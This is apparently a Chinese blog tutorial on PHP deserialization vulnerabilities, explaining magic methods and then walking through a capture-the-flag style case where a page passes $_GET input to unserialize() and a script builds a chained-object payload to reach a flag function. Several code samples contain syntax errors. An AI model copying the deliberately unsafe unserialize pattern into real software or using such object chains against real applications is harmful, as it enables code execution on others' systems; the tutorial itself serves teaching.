PHP反序列化漏洞

一、序列化,反序列化

  • 序列化:将php对象压缩并按照一定格式转换成字符串过程
  • 反序列化:从字符串转换回php对象的过程
  • 目的:为了方便php对象的传输和存储

seriallize() 传入参数为php对象,序列化成字符串

unserialize() 传入字符串,反序列化成一个对象

下图,上面是php对象,下面是 序列化结果

强调:序列化的过程,只序列化属性,不序列化函数

二、反序列化攻击

利用unserilize()接受的参数是用户可控,攻击者输入精心构造的字符串,再转换成对象的过程中实现攻击

只序列化属性,不序列化方法,所有对象的属性是唯一的攻击入口

魔术方法(以__开头的函数)

1.__construct():

构造函数,当一个对象被实例化时,就会被调用

php 复制代码
<?php
    class A
    {
        function __construct()
        {
            echo "this is a construct function":
        }
    }
    $a = new A();
?>

当$a = new A() 这条语句被执行的时候,__construct()方法就会被调用

2.__destruct():

析构函数,当代码执行结束,对象所占用的空间被回收的时候,回自动调用析构函数

php 复制代码
<?php
    class A
    {
        function __construct()
        {
            echo "this is a construct function";
        }
        function __destruct()
        {
            echo "this is a destruct function";
        }
    }
    
    $a = new A();
?>

这个方法,不管是啥情况,只要代码执行,肯定有结束的时候,就一定会调用析构函数

3.__sleep():

在对象进行序列化的过程,__sleep()函数将被调用

php 复制代码
<?php
    class A
    {
        private $test;
        public $test2;
        public function __construct($test)
        {
            $this->test = $test;
        }
        public function __sleep()
        {
            echo "this is a sleep function";
            
            return array('test'); //这里必须返回一个数值,里面的参数表示返回的属性名称
        }
    }
    $a = new A("Aurora");
    echo serialize($a);
?>

在代码中有serialize()方法的出现,__sleep()这个魔术方法一定会被调用

4.__wakeup():

wakeup()与sleep()正好相对应

是在反序列化的过程会被调用

当unserialize()函数出现,__wakeup()这个魔术方法一定会被调用

注意:反序列化看似是构造一个对象,但并没有调用到constant方法,而是调用__wakeup()方法

5.__toString()方法

当出现,把一个字符串当作字符串来使用,就会调用该方法

php 复制代码
<?php 
    class A
    {
        private $test;'
        public function __construct($test)
        {
            $this->test = $test;
        }
        function __toString()
        {
            $str = "this is a toString function";

            return $str;
        }
    }
    $a = new A("Aurora");
    echo $a;
?>

6.__invoke():

当把一个对象当作函数来调用的时候,就会自动调用invoke()方法

php 复制代码
<?php
    class A
    {
        private $test;
        public function __construct($test)
        {
            $this->test = $test;
        }
        function __invoke()
        {
            echo = "this is a invoke function";
        }
    }
    $a = new A("Aurora");
    $a();    //$a是一个对象,但却用$a()调用方法的方法使用它
?>

上面$a()就是将对象作为函数来调用的例子

7.__call():

调用对象中不存在的方法,就会调用call函数

php 复制代码
<?php
    class A
    {
        private $test;
        public function __construct($test)
        {
            $this->test = $test;
        }
        function _call($funName,$arguments)
        {
            echo "你所调用的方法:".$funName."(参数:";   //输出调用不存在的方法名
            print_r($arguments);
            echo ")不存在!<br>\n";                       //结束换行
        }
        $a = new A("Aurora");
        $a->test('no','this','function');                //可以看到A类中并没有test()方法
?>

三、案例

php 复制代码
<!--
class allstart
{
        public $var1;
        public $var2;
        public function __destruct()
        {
                $this->var1->test1();
        }
}
class func1
{
        public $var1;
        public $var2;
        public function test1()
        {
            $this->var1->test2();
        }
}    
class func2
{
        public $var1;
        public $var2;
        public function __call($test2,$arr)
        {
                $s1 = $this->var1;
                $s1();
        }
}
class func3
{
        public $var1;
        public $var2;
        public function __invoke()
        {
                $this->var2 = "concat string".$this->var1;
        } 
}
class func4
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class toget
{
        public function get_flag()
        {       
                echo "flag{***}";
        }
}

$a=$_GET["string"];
unserialize($a);

反序列化攻击就是制造一条攻击链

将每一个会用到的属性进行赋值,赋值成特定的对象, 后将其进行序列化,得到序列化的字符串作为get参数传入题目中去

php 复制代码
<?php
    class allstart
    {
        public $var1;
        public $var2;
        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->var1=new func1();
        }
        public function __destruct()
        {
                $this->var1->test1();
        }
    }
 
    class func1
    {
        public $var1;
        public $var2;
        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->var1=new func2();
        }
        public function test1()
        {
            $this->var1->test2();
        }
    }    
    class func2
    {
        public $var1;
        public $var2;

        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->var1=new func3();
        }
        public function __call($test2,$arr)
        {
                $s1 = $this->var1;
                $s1();
        }
    }
    class func3
    {
        public $var1;
        public $var2;

        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->var1=new func4();
        }
        public function __invoke()
        {
                $this->var2 = "concat string".$this->var1;
        } 
    }
    class func4
    {
        public $str1;
        public $str2;

        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->str1=new toget();
        }
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
    }
    class toget
    {
        public function get_flag()
        {       
                echo "flag{***}";
        }
    }

    $a=new allstart();    //这个也要与源码不同
    echo serialize($a);   //将对象序列化
?>
相关推荐
筱宇***12 小时前
Mac的web服务器
mysql·nginx·macos·php
iangyu17 小时前
【windows server脚本每天从网络盘复制到本地】
开发语言·windows·php
YUJIANYUE18 小时前
PHP黑白胶卷底片图转彩图功能 V2025.05.15
php
为自己_带盐18 小时前
浅聊一下数据库的索引优化
开发语言·数据库·php
Lucky小小吴1 天前
木马查杀篇—Opcode提取
php·opcode·木马查杀
邪恶的贝利亚1 天前
《ffplay 读线程与解码线程分析:从初始化到 seek 操作,对比视频与音频解码的差异》
ffmpeg·php·音视频
廖圣平2 天前
美团核销 第三方接口供应商 (含接口文档)
开发语言·数据库·php
sunsineq2 天前
[超级简单]讲解如何用PHP实现LINE Pay API!
开发语言·php·linepay
新老农2 天前
php数据导出pdf,然后pdf转图片,再推送钉钉群
pdf·php·钉钉
上海合宙LuatOS2 天前
全栈工程师实战手册:LuatOS日志系统开发指南!
java·开发语言·单片机·嵌入式硬件·物联网·php·硬件工程